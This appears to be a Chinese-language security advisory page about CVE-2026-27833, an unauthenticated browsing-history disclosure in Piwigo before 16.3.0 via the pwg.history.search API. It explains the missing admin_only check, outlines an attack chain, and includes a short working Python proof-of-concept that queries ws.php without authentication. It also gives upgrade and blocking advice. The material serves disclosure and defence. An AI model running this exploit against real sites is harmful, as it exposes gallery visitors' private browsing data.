IPBUF安全漏洞报告
English
CVE-2026-27833 CVSS 7.5 高危

CVE-2026-27833 Piwigo未授权信息泄露漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-27833
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Piwigo

相关标签

信息泄露权限绕过PiwigoAPI安全CVE-2026-27833

漏洞概述

Piwigo是一个开源的Web照片库应用程序。在16.3.0版本之前,其pwg.history.search API方法在注册时未设置admin_only选项,导致未经身份验证的攻击者可以访问该API,从而获取所有画廊访问者的完整浏览历史记录。该漏洞存在较高隐私风险,目前已在16.3.0版本中修复。

技术细节

该漏洞产生的根本原因是Piwigo后端对敏感API接口的访问控制机制失效。在受影响版本中,`pwg.history.search` API方法负责记录和查询画廊的访问日志,属于敏感功能。然而,开发人员在源代码中注册该接口时,未将其标记为`admin_only`(仅管理员可访问)。这意味着系统在处理该接口的请求时,不会强制执行身份验证流程。攻击者只需向`ws.php`发送包含特定方法名的POST请求,即可绕过前端登录页面,直接获取数据库中的历史浏览记录。由于攻击向量(AV)为网络,且无需用户交互,攻击者可利用该漏洞批量扫描互联网上的Piwigo站点,窃取用户行为数据,造成严重的信息泄露风险。

攻击链分析

STEP 1
1. 信息收集
攻击者通过网络扫描或搜索引擎发现目标Piwigo站点。
STEP 2
2. 发送恶意请求
攻击者向目标站点的ws.php端点发送POST请求,参数包含method=pwg.history.search,无需携带任何认证Cookie。
STEP 3
3. 数据窃取
服务器端由于缺乏权限校验,直接返回所有访客的浏览历史JSON数据,攻击者解析并存储该敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via pwg.history.search # Description: PoC to retrieve browsing history without authentication target_url = "http://localhost/ws.php" # Replace with actual target # The vulnerable API payload payload = { "method": "pwg.history.search", "format": "json" } try: print("[*] Attempting to retrieve browsing history...") response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: data = response.json() if "result" in data and data["stat"] == "ok": print("[+] Exploit successful! Browsing history data:") print(data) else: print("[-] Request sent but unexpected response format.") else: print(f"[-] Failed to connect. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Piwigo < 16.3.0

防御指南

临时缓解措施
建议管理员立即检查Piwigo版本,并尽快升级到16.3.0及以上版本以修补此权限绕过漏洞。如果无法立即升级,应在应用网关处阻断对`pwg.history.search`方法的POST请求,直到完成更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表